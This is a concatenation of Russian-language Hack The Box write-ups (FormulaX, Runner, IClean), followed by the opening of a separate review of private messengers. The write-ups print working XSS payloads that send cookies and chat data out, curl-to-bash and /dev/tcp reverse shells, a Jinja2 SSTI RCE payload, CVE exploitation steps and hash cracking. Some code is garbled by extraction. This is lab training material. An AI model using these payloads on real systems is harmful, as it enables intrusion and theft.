Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел всего два открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Nginx 1.18.0.•

На сайте нас встречает форма авторизации.

Форма авторизации

ТОЧКА ВХОДА

На сайте можно зарегистрироваться. Так как  залогиненному пользователю
доступно больше функций, значит, будет больше и  область тестирования.
Регистрируемся и  авторизуемся. На  главной странице видим приглашение
початиться с ботом.

Главная страница сайта

Набираем , чтобы посмотреть справку, и  видим только одну доступную

команду — , которая отображает историю сообщений.

help
history

Чат с ботом

Построенная в  Burp карта сайта содержит несколько интересных файлов
JavaScript. Среди них  — , который как  раз и  дает возможность

общаться с ботом.

chat.js

Содержимое файла chat.js

Куда интереснее его поведение при  вводе команды . Скрипт про‐

бежится по сообщениям пользователя на странице и вставит их заново в код
страницы.

history

Содержимое файла chat.js

Такое поведение очень опасно, так как  мы можем отправить в  сообщении
произвольный код и внедрить его на страницу командой .history

Запустим локальный веб‑сервер:

python3 -m http.server 80


А теперь отправим боту базовую нагрузку XSS:

 <img src="http://10.10.16.143"/>

И выполним команду .history

Чат с ботом

Логи веб‑сервера

На веб‑сервер пришел запрос, а значит, у нас есть XSS. Осталось заставить
бота исполнять код. Возможно, в этом поможет форма связи с администра‐
тором.

Страница Contact to Admin

XSS
Если есть одна XSS, возможно, найдется и другая. Отправим нагрузку адми‐
нистратору — и почти сразу получим запрос на свой веб‑сервер.

 <img src="http://10.10.16.143/test_xss"/>

Логи веб‑сервера

На поиски следующего шага для продвижения я потратил около часа. Попыт‐
ки украсть куки и других сессионных данных ни к чему не привели, однако есть
еще  одно место, где можно найти информацию,  — переписка администра‐
тора с ботом.

При написании нагрузки воспользуемся скриптом . За  основу
возьмем действия при  обработке команды , но  вместо добавления

сообщений на страницу будем кодировать их в Base64 и отправлять на свой
веб‑сервер.

chat.js
history

 let value2;
   const res2 = axios.get(`/user/api/chat`);
    const socket2 = io('/',{withCredentials: true});

   socket2.on('message', (my_message) => {
      fetch("http://10.10.16.143/?data=" + btoa(my_message) );
})

     const typing_chat2 = () => {
   value2 = 'history';
  if (value2) {
    socket2.emit('client_message', value2)
   Show_messages_on_screen_of_Client(value2);
     document.getElementById('user_message').value2 = ""
 }
  else {
   alert("Cannot send Empty Messages");
 }
}

typing_chat2()

Скрипт будем загружать удаленно со  своего веб‑сервера. Для  добавления
скрипта с  удаленного сервера воспользуемся методом .

Но кроме своего кода, также добавим и необходимый . Таким
образом, администратору сайта необходимо отправить следующую нагрузку.

body.appendChild
socket.io.js

  
"


<img src=x onerror="body.appendChild(createElement('script')).src='/
socket.io/socket.io.js'"></img>

  
"


<img src=x onerror="body.appendChild(createElement('script')).
src='http://10.10.16.143/r.js'"></img>

Логи веб‑сервера

Осталось декодировать эксфильтрованные сообщения, и  находим новый
ресурс — .dev-git-auto-update.chatbot.htb

Декодированные сообщения

Обновляем запись в файле  и идем смотреть новый сервис./etc/hosts

10.10.11.6 formulax.htb dev-git-auto-update.chatbot.htb


Главная страница dev-git-auto-update.chatbot.htb

ТОЧКА ОПОРЫ

Внизу страницы видим, что используется Simple Git v3.14. Первым делом сто‐
ит проверить, есть ли для  этой версии готовые эксплоиты. Сначала ищем
в Google.

Поиск эксплоитов в Google

 ведет к  PoC для  уязвимости CVE-2022-24066. Встреченная
нами версия уязвима к  удаленному исполнению кода (RCE), а  эксплуатация
происходит путем внедрения команды.

Первая ссылка

Описание уязвимости

Снова запустим веб‑сервер:

python3 -m http.server 80


И проверим наличие уязвимости, обратившись к своему серверу через curl.
Для этого отправим нагрузку в предложенную форму.

ext::sh -c curl% http://10.10.16.143/test_rce


Логи веб‑сервера

Запрос пришел на сервер, а значит, уязвимость есть и мы можем выполнить
реверс‑шелл, который подключится к нашему листенеру.

Запускаем листенер:

pwncat-cs -lp 4321


Теперь выполняем реверс‑шелл:

 /bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1


Ничего не получилось, поэтому сохраним шелл в файл , а на удаленном
сервере запросим его через curl и выполним в Bash.

r.sh

ext::sh -c curl% http://10.10.16.143/r.sh|bash >&2


Сессия пользователя www-data

Продолжение статьи
→
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HTB FORMULAX
АТАКУЕМ АДМИНА ЧЕРЕЗ ЧАТ

НА САЙТЕ И ПЕНТЕСТИМ LIBRENMS

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ПРОДВИЖЕНИЕ

Пользователь frank_dorky
Теперь нам необходимо собрать информацию.

Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  хост скрипт для  Linux, дадим право на  выполнение и  запустим
сканирование. В  выводе скрипта много всего, отберем только то, что
поможет нам в продвижении.

Среди открытых на хосте портов отмечаем порт 3000, за который отвечает
веб‑сервер Nginx.

Список прослушиваемых портов

Помимо , еще три пользователя имеют доступ к консоли.root

Пользователи с консолью

Также в системе работает СУБД MongoDB.

Содержимое файлов MongoDB

На порте 3000 работает служба LibreNMS, о чем свидетельствует файл с нас‐
тройками:

/etc/nginx/conf.d/librenms.conf


Содержимое файла librenms.conf

Среди переменных окружения есть учетные данные MongoDB.

Переменные окружения

Так как у нас есть учетка от базы данных, подключимся к Mongo и просмотрим
существующие базы.

mongo


 show dbs

Список баз данных

MongoDB использует в  базах не  таблицы, а  коллекции. Давай получим кол‐
лекции в базе .testing

 use testing
 show collections

Коллекции в базе testing

Нас определенно интересуют данные в коллекции . Возможно, там най‐
дем и какие‑нибудь пароли.

users

db.users.find()

Данные из коллекции users

В базе есть хеш пароля пользователя , у  которого есть доступ

к  командной оболочке. Это  хеш bcrypt (режим hashcat за  номером  3200),
для его перебора в обычных условиях может потребоваться много времени.
Но  пароль оказался простой, и  на перебор по  словарю  ушло

меньше минуты.

frank_dorky

rockyou.txt

hashcat -m 3200 hash.txt rockyou.txt


Результат перебора хеша

Получаем пароль, с которым можно авторизоваться по SSH и получить учетку
первого полноценного пользователя.

Флаг пользователя

Пользователь LibreNMS
На порте 3000 работает LibreNMS, но сервис доступен только для локального
хоста. Чтобы получить доступ к службе, нам необходимо туннелировать тра‐
фик c помощью SSH.

ssh frank_dorky@10.10.11.6 -L 3000:127.0.0.1:3000


Теперь весь трафик, который мы пошлем на локальный порт 3000, будет тун‐
нелирован на порт 3000 указанного хоста (в данном случае 127.0.0.1) через
SSH-хост.

Форма авторизации LibreNMS

Первым делом я отправился искать эксплоиты для LibreNMS, но ничего инте‐
ресного не  нашел. Зато узнал, что через шаблоны можно получить RCE,
но  для этого сперва нужно авторизоваться. Погуглив про  авторизацию
LibreNMS, находим , где говорится, как создать своего
пользователя.

сообщение на форуме

Форум LibreNMS

При попытке проверить наличие скрипта  обнаружим, что у  нас

нет возможности смотреть файлы в каталоге .

adduser.php
/opt/librenms

Проверка каталога /opt/librenms

Получить список файлов мы не можем, но выполнить файл удается.

./adduser.php ralf ralf1234 10


Создание пользователя

Пользователь создан, и теперь мы можем авторизоваться в системе.

Главная страница LibreNMS

Теперь перейдем к идее с шаблонами. Так как в системе есть пользователь
LibreNMS с активной командной оболочкой, RCE даст нам полноценную сес‐
сию. Сначала проверим конфигурации.

Меню LibreNMS

И получаем ошибку: адрес 127.0.0.1 не соответствует имени .librenms.com

Ошибка LibreNMS

В файле  создадим соответствующую запись и повторим провер‐
ку конфига.

/etc/hosts

127.0.0.1 librenms.com


Ошибок нет, теперь переходим в меню Alerts → Alert Templates.

Меню Alerts

Страница Templates

Создаем новый шаблон, который с  помощью функции  выполнит

реверс‑шелл:

system

@php
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1'");
@endphp

Код шаблона

Запускаем новый листенер, сохраняем шаблон и получаем новую сессию.

Сессия пользователя LibreNMS

Пользователь kai_relay
Осматриваемся в  каталоге проекта и  находим много файлов , которые

обычно содержат учетные данные.

.env

Содержимое каталога librenms

Смотрим каждый файл и останавливаемся на  . Учетные данные
для  подключения к  базе данных, вероятно, подходят для  пользователя

, у которого есть шелл в системе.

.custom.env

kai_relay

Содержимое файла .custom.env

Подключаемся по SSH и получаем сессию .kai_relay

Сессия пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Разведку на хосте уже проводили, а значит, в поисках привилегий нужно про‐
верить не  так много. Одно из  мест, где часто можно найти возможность
для продвижения, — это настройки sudoers.

Справка: sudoers
Файл  в Linux содержит списки команд, которые разные группы
пользователей могут выполнять от  имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды .

/etc/sudoers

sudo -l

Настройки sudoers

Набираем  и  видим запись, которая гласит, что можно выполнить

скрипт  от  имени root без  ввода пароля. Скрипт запус‐

кает приложение .

sudo -l
/usr/bin/office.sh

soffice

Содержимое файла office.sh

Первым делом стоит проверить техники GTFOBins и готовые эксплоиты.

Справка: GTFOBins
  — это  подборка способов злоупотреблять возможностями

популярных программ для Unix. Используя собранные здесь рецепты, можно
быстро получить доступ к  командным оболочкам, повысить привилегии
или передать файлы при помощи легитимных приложений.

GTFOBins

Поиск эксплоитов

С помощью Google удалось найти  для  версии  6.1.2, который при‐
водит к  выполнению кода в  рамках запущенного приложения LibreOffice
ServiceManager.

эксплоит

Описание эксплоита

В исходном коде эксплоита изменим запускаемое приложение 

на реверс‑шелл для Linux:

calc.exe

 /bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1


Запускаем , после чего на  удаленной машине загружаем и  выпол‐
няем эксплоит.

soffice

sudo /usr/bin/office.sh


python3 exploit.py  --host localhost --port 2002


В листенере на  локальной машине мгновенно получаем сессию от  имени
root.

Флаг рута

Машина захвачена!

https://github.com/carlospolop/PEASS-ng
https://community.librenms.org/t/adding-admin-users-on-librenms/20782
https://gtfobins.github.io/
https://www.exploit-db.com/exploits/46544


RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Сегодня я покажу, как  использовать прош‐
логодний баг в  инструменте TeamCity, что‐
бы создать пользователя‑админа и  таким
образом повысить привилегии на  хосте.
Затем создадим контейнер в Portainer, сбе‐
жим из  него благодаря уязвимости в  runC
и сможем читать любые файлы в системе.

Наша цель — получение прав суперпользователя на машине Runner с учеб‐
ной площадки . Уровень сложности задания — средний.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.13    runner.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

По результатам сканирования имеем три открытых порта:
порт 22 — служба OpenSSH 8.9p1;•
порт 80 — веб‑сервер Nginx 1.18.0;•
порт 8000 — веб‑сервер Nagios NSCA.•

C SSH ничего не поделать, поэтому переходим к вебу. На порте 8000 необ‐
ходим какой‑то эндпоинт, так как  получаем ответ  404, а  на порте  80  нас
встречает сайт‑визитка.

Ответ сервера 10.10.11.13:8000

Главная страница сайта runner.htb

ТОЧКА ВХОДА

На сайте ничего интересного найти не  удалось, поэтому приступим к  ска‐
нированию.

Справка: сканирование веба c ffuf
Одно из  первых действий при  тестировании безопасности веб‑приложе‐
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде  и  .dirsearch DIRB

Я предпочитаю легкий и  очень быстрый . При  запуске указываем сле‐
дующие параметры:

ffuf

 — словарь (я использую словари из набора );• -w SecLists
 — количество потоков;• -t

 — URL;• -u

 — HTTP-заголовок.• -H

Место перебора помечается словом FUZZ.

Задаем все параметры и запускаем сканирование:

ffuf   
 256


-u http://runner.htb/ -H 'Host: FUZZ.runner.htb' -w subdomains-
bitquark-top100000.txt -t

Результат сканирования

Однако утилита выводит все варианты из словаря, поэтому добавим фильтр
по размеру страницы (параметр ).-fs

ffuf   
 256  154


-u http://runner.htb/ -H 'Host: FUZZ.runner.htb' -w subdomains-
bitquark-top100000.txt -t -fs

Результат сканирования

В итоге находим один поддомен, поэтому обновляем запись в файле 

:

/etc/
hosts

10.10.11.13 runner.htb teamcity.runner.htb


Главная страница teamcity.runner.htb

Перед нами TeamCity 2023.05.3. В  этой версии есть известная уязвимость
, которая позволяет атакующему обойти авторизацию, соз‐

дав своего администратора в  сервисе. Используем первый найденный
в Google  и получаем логин и пароль добавленного в систему адми‐
нистратора.

CVE-2023-42793

эксплоит

python3 exploit.py -u http://teamcity.runner.htb -t token.txt


Эксплуатация уязвимости

Теперь можно авторизоваться в TeamCity и осмотреться в сервисе.

Главная страница сайта

ТОЧКА ОПОРЫ

Первым делом просмотрим зарегистрированных пользователей и настройки
бэкапов.

Пользователи TeamCity

Параметры бэкапа

Теперь выполним бэкап и  скачаем архив для  анализа локально на  своей
машине.

Бэкап TeamCity

Просматривая файлы в архиве, находим базу пользователей, в которой есть
хеши паролей, а также какой‑то приватный ключ SSH.

Содержимое файла users

Содержимое каталога pluginData

После перебора имен пользователей TeamCity успешно логинимся по  SSH
с приватным ключом пользователя .john

ssh -i id_rsa john@runner.htb

Флаг пользователя

ПРОДВИЖЕНИЕ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  хост скрипт для  Linux, дадим право на  выполнение и  запустим
сканирование. В  выводе много всего, давай пройдемся по  важным момен‐
там.

Есть несколько портов, которые прослушиваются только для localhost.

Активные порты

В каталоге  есть две интересные директории:  и  ./opt containerd portainer

Содержимое каталога /opt

Portainer — это платформа для управления доставкой контейнерных приложе‐
ний, которая может использоваться в  сочетании со  средами вроде Docker
и Kubernetes.

Содержимое каталога /opt/portainer

Эта платформа доступна как раз на портах 9000 и 9443, которые прослушива‐
ются на локальном хосте. Чтобы получить доступ к Portainer, нам нужно будет
прокинуть порт 9000 на свой хост с помощью SSH.

ssh -i id_rsa john@runner.htb  -L 9000:127.0.0.1:9080 -N

Теперь весь трафик, который мы пошлем на локальный порт 9000, будет тун‐
нелирован на порт 9080 указанного хоста (в данном случае 127.0.0.1) через
хост SSH.

Форма авторизации Portainer

У нас нет никаких учетных данных для входа, поэтому я решил вернуться к най‐
денной в бэкапах базе и перебрать сохраненные в ней хеши. Просто запуск
hashcat приведет к тому, что утилита не сможет самостоятельно определить
алгоритм хеширования и предложит несколько вариантов.

hashcat hashes.txt rockyou.txt


Справка hashcat

Выбираем самый популярный — режим 3200 — и повторяем брут.

hashcat -m 3200 hashes.txt rockyou.txt


Результат работы hashcat

Спустя минуту hashcat находит пароль пользователя matthew, от  имени
которого получается авторизоваться в Portainer.

Главная страница Portainer

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Переходим в  окружение Primary и  на странице Dashboard смотрим, что нам
доступно.

Содержимое страницы Dashboard

Первая идея, которая меня посетила, — проверить, нет ли уязвимости 
 в  runС младше версии  1.1.11. Этот баг позволяет выйти из  кон‐

тейнера.

CVE-
2024-21626

RunC  — это  среда выполнения, которая применяется для  создания
и  запуска контейнеров с  разными параметрами изоляции, такими как  прос‐
транства имен, контрольные группы, Linux Capabilities и  так далее. Один
из этих методов — использование отдельной файловой системы в качестве
корневой ФС контейнера (это достигается через chroot).

Рассматриваемая уязвимость заключается в  утечке файлового дескрип‐
тора, который может быть использован новым контейнером, чтобы создать
рабочий каталог в  пространстве имен хостовой файловой системы и  тем
самым обойти chroot. В данном случае утечка дескриптора происходит через

, который содержит файловые дескрипторы текущего про‐

цесса, а  runC, в  свою очередь, создает дескриптор , дос‐
тупный через  по номерам 7, 8 или 9.

/proc/self/fd/
/sys/fs/cgroup

/proc/self/fd/
Таким образом, если при  создании контейнера в  качестве рабочего

каталога указать дескриптор , то реальным рабочим катало‐
гом контейнера станет хостовый путь . А  это поможет

дотянуться до  любого файла хостовой файловой системы через вот такой
обход путей:

/proc/self/fd/8
/sys/fs/cgroup

../../../../


В Portainer уже есть два готовых образа, будем использовать один из  них.
На странице Images выбираем образ и на странице Image details копируем ID
образа.

Страница Images

Страница Image details

Затем переходим на страницу Containers и создаем контейнер. В поле Image
указываем ID образа, а  в расширенных настройках контейнера  — рабочий
каталог ./proc/self/fd/8

Настройки контейнера

Расширенные настройки контейнера

После старта контейнера подключаемся к нему и пробуем читать файл 

 на хостовой системе.

/etc/
hostname

Список контейнеров

Консоль контейнера

По имени хоста видно, что мы вышли из  контейнера и  дотянулись до  файла
с хоста. Осталось получить последний флаг.

Флаг рута

И машина захвачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-42793
https://github.com/Zyad-Elsayed/CVE-2023-42793
https://github.com/carlospolop/PEASS-ng
https://nvd.nist.gov/vuln/detail/CVE-2024-21626
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ВЗЛОМ

В этом райтапе я покажу, как  эксплуати‐
ровать уязвимость XSS для  кражи cookie
пользователя, а  затем уязвимость SSTI  —
для выполнения кода в системе. Для прод‐
вижения используем учетные данные,
полученные из  базы данных. При  повыше‐
нии привилегий воспользуемся излишними
разрешениями утилиты qpdf.

Наша цель — получение прав суперпользователя на машине IСlean с учебной
площадки . Уровень сложности задания — средний.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.12    iclean.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел всего два открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Apache 2.4.52.•

Как обычно в таких случаях, начинаем с проверки сайта.

Главная страница сайта

ТОЧКА ВХОДА

Изучая сайт, находим форму заказа услуг.

Содержимое страницы quote

Отмечаем все позиции и  выполняем заказ. Затем в   смотрим

на сам запрос к серверу и проверяем отправляемые параметры.

Burp History

Запрос в Burp History

В параметрах отправляются не значения  и  , что было бы логичнее,

а  название услуги. Скорее всего, указанные в  заказе услуги отображаются
у другого пользователя, поэтому стоит проверить, нет ли здесь XSS. Для это‐
го запустим веб‑сервер:

true false

python3 -m http.server


Комбинацией клавиш Ctrl-R перенаправим запрос из  Burp History в  Burp
Repeater и  зашлем базовую нагрузку, которая выполнит запрос на  наш
веб‑сервер.

  <img src=x onerror=fetch("http://10.10.14.83:8000/test_xss");>

Запрос в Burp Repeater

Логи веб‑сервера

В логах видим запрос, а  значит, сервис уязвим. Теперь попробуем увести
куки пользователя, который просматривает заказы.

  <img src=x onerror=fetch("http://10.10.14.83:8000/"+document.cookie);
>

Запрос в Burp Repeater

Логи веб‑сервера

Применяем идентификатор сессии в локальном хранилище браузера Chrome
и переходим на страницу ./dashboard

Страница авторизованного пользователя

Нам стали доступны новые функции, пройдемся по ним по порядку.

Продолжение статьи
→

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


HTB IСLEAN
ЭКСПЛУАТИРУЕМ ЦЕПОЧКУ ВЕБ-

УЯЗВИМОСТЕЙ ПРИ АТАКЕ
НА СЕРВЕР

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ТОЧКА ОПОРЫ

Начнем с  генератора QR-кода. Первым делом нам необходимо получить
Invoice ID.

Страница /QRGenerator

Страница /InvoiceGenerator

Потратив немного времени на тестирование этой возможности через Burp, я
ничего интересного так и не нашел. Но по полученному идентификатору мож‐
но сгенерировать Invoice. Чтобы лучше прослеживать, как потом изменяются
и обрабатываются данные, заполним все поля рандомными значениями.

Страница /InvoiceGenerator

После этого вернемся к  генератору QR-кода и  укажем полученный ранее
Invoice ID.

Страница /QRGenerator

Ссылка на QR-код

А теперь вставляем полученную ссылку в  форму . Нас перебросит

на страницу инвойса. На ней введенных при генерировании инвойса данных я
не  нашел. Однако присутствует QR-код, который, вероятно, мы передали
в форме QR Link.

QR Link

Страница Invoice

Если взглянуть на  запрос в  Burp History, можно отметить, что сервер при‐
нимает полный URL QR-кода в параметре .qr_link

Запрос на сервер

Я решил проверить, придет ли на  мой сервер запрос, если указать свой IP.
Для  этого снова запускаем веб‑сервер ( ) и  через

Burp Repeater повторяем запрос на  сервер, только в  этот раз в  параметре
 передаем URL на  свой сервер. Но  в итоге отправленный URL был

только отображен на странице.

python3 -m http.server

qr_link

Ответ сервера

Попробуем поэкспериментировать с содержимым параметра .qr_link

SSTI
Первым делом я решил проверить базовую нагрузку SSTI: . В  итоге

шаблон обработан, и в ответе сервера получаем результат подсчета.

{{7*7}}

Ответ сервера

Так как нагрузка отработала, есть вероятность, что на сервере используется
популярный шаблонизатор Jinja2. Не тестируя другие нагрузки и не проверяя,
есть ли какая‑то фильтрация, я решил сразу прощупать возможность удален‐
ного выполнения кода. Следующая нагрузка выполнит команду :id

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\
x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5f
getitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')
|attr('read')()}}

Результат обработки шаблона

Теперь запускаем листенер:

pwncat-cs -lp 4321


И вместо команды  передаем следующий реверс‑шелл:id

bash  -c "bash -i >& /dev/tcp/10.10.14.83/4321 0>&1"

Сессия пользователя www-data

Так получаем сессию в системе и переходим к разведке.

ПРОДВИЖЕНИЕ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  —  набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  хост скрипт для  Linux, дадим право на  выполнение и  запустим
сканирование. В выводе будет много информации, поэтому отберем только
значимую.

В списке прослушиваемых портов находим  3000, на  котором работает
MySQL.

Список активных портов

В дереве процессов отмечаем приложение, работающее в  каталоге 
. Этому приложению в параметре  передается адрес MS SQL.

/opt/
app --bind

Дерево процессов

Таким образом, приложение использует базу данных, а в ней мы можем найти
какие‑нибудь новые учетные данные. Но чтобы подключиться к базе, нам нуж‐
ны учетные данные. Попробуем найти их в исходном коде приложения.

Содержимое файла app.py

С полученными учетными данными подключаемся к  базе  и  прос‐
матриваем таблицы.

capiclean

mysql -u iclean -ppxCsmnGLckUb

 use capiclean;
 show tables;

Таблицы в базе capiclean

Нам нужна таблица , получим все ее содержимое.users

   select * from users;

Содержимое таблицы users

В итоге имеем два хеша, которые пробуем перебрать с помощью .hashcat

hashcat 
'0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa' 
rockyou.txt


Логи hashcat

Но hashcat не смог определить алгоритм хеширования и предложил несколь‐
ко вариантов. Самый популярный алгоритм  — SHA-256, поэтому повторим
подбор, но в этот раз укажем режим 1400.

hashcat -m 1400 
'0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa' 
rockyou.txt


Результат перебора хеша

Пароль расшифрован, и мы можем использовать его для авторизации по SSH
и прочитать первый флаг.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Так как  разведку в  сети мы уже проводили, остается не  так много мест,
которые стоит проверить при  изменении контекста. Одно из  таких мест  —
настройки sudoers.

Справка: sudoers
Файл  в Linux содержит списки команд, которые разные группы

пользователей могут выполнять от  имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды .

/etc/sudoers

sudo -l

 sudo -l

Настройки sudoers

Таким образом, мы можем запустить от имени пользователя root программу 

. Эта программа используется для  преобразования PDF-фай‐

лов. Меня сразу же посетила идея использовать qpdf для  добавления про‐
извольных файлов в  качестве вложения. А  так как  запуск производится
с  высокими привилегиями, мы сможем получить содержимое любого файла
в системе, например приватного ключа SSH. За добавление вложений отве‐
чает флаг , а  за сохранение файла в  текстовом виде  —
флаг .

/
usr/bin/qpdf

--add-attachment
--qdf

 sudo /usr/bin/qpdf --empty /tmp/qwe.txt --qdf --add-attachment /root/
.ssh/id_rsa --
cat /tmp/qwe.txt


Содержимое сохраненного файла

В сохраненном файле есть ключ SSH. Копируем его на свою машину и под‐
ключаемся к серверу от имени пользователя root.

Флаг рута

Машина захвачена!

https://github.com/carlospolop/PEASS-ng
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ПРИВАТНОСТЬ

Думаю, тебе не нужно лишний раз напоми‐
нать, почему тайна переписки должна
по  умолчанию оставаться тайной. Сейчас
есть множество мессенджеров, каждый
из  которых предлагает какую‑то защиту
от перехвата данных. Но не все они устро‐
ены одинаково, и  у каждого есть уникаль‐
ные особенности. В  этой статье мы прой‐
демся по  самым приватным мессендже‐
рам.

Чтобы обзор не раздулся до космических размеров, мы сразу отбросим вся‐
кую попсу вроде WhatsApp, Telegram и Facebook Messenger. Для регистрации
в  них требуется телефон, а  защищенность  — полностью на  совести раз‐
работчиков. Будем ориентироваться в  первую очередь на  полную аноним‐
ность, грамотно выстроенное шифрование, а также отсутствие закладок — то
есть открытый и прошедший сторонний аудит исходный код.

ПОЧЕМУ НЕ SIGNAL?

У мессенджера Signal хорошая репутация среди поклонников безопасного
общения, и это абсолютно заслуженно! Среди его достоинств:

открытый исходный код;•
сильная криптография, которая активна по умолчанию;•
проведенный аудит безопасности;•
кросс‑платформенность;•
наличие большого числа полезных функций: пересылка файлов, аудио-
и видеозвонки;

•

самоуничтожающиеся сообщения.•

Но есть и серьезные минусы:
требуется телефонный номер для  регистрации. И  только недавно была
добавлена возможность показывать собеседнику никнейм вместо своего
телефонного номера;

•

Signal делится телефонными номерами со  сторонними (!) компаниями,
и уже была  попытка взлома, в ходе которой телефонные номера
утекали в руки злоумышленников;

•
успешная

централизованная инфраструктура мессенджера. Если основные ком‐
поненты инфраструктуры выйдут из  строя, работа мессенджера станет
невозможной.

•

Как видишь, минусы весомые, и  неплохо было  бы на  всякий случай озна‐
комиться с альтернативами Signal. Вдруг получится найти программу со срав‐
нимым списком достоинств и без перечисленных недостатков? Что ж, давай
искать!

SESSION

Помимо серьезной защиты передаваемых данных, этот мессенджер отли‐
чается повышенной анонимностью. Он работает поверх сети Oxen, принцип
которой схож с Tor: выстраивается цепочка служебных узлов от отправителя
сообщения к получателю. Клиент есть для всех актуальных платформ: Android,
iOS, macOS, Windows, Linux.

Session путает следы

При регистрации генерируется уникальный идентификатор пользователя
и секретная фраза, предназначенная для восстановления аккаунта на новом
устройстве. Поддерживаются все необходимые фичи современных мессен‐
джеров: звонки, исчезающие сообщения, передача файлов, групповые чаты
и так далее. Для получения уведомлений может использоваться инфраструк‐
тура Google (режим быстрой доставки), но  самые параноидальные поль‐
зователи могут отключить эту функцию.

Режимы доставки

Без серверов Google сообщения будут продолжать приходить, но  с некото‐
рой задержкой. Впрочем, при  тестировании даже «быстрая доставка»
работала далеко не моментально.

Основной минус этого мессенджера в  том, что разработчики выбрали
спорные решения в  плане безопасности: отказались от  использования
Perfect Forward Secrecy и режима правдоподобного отрицания.

Справка
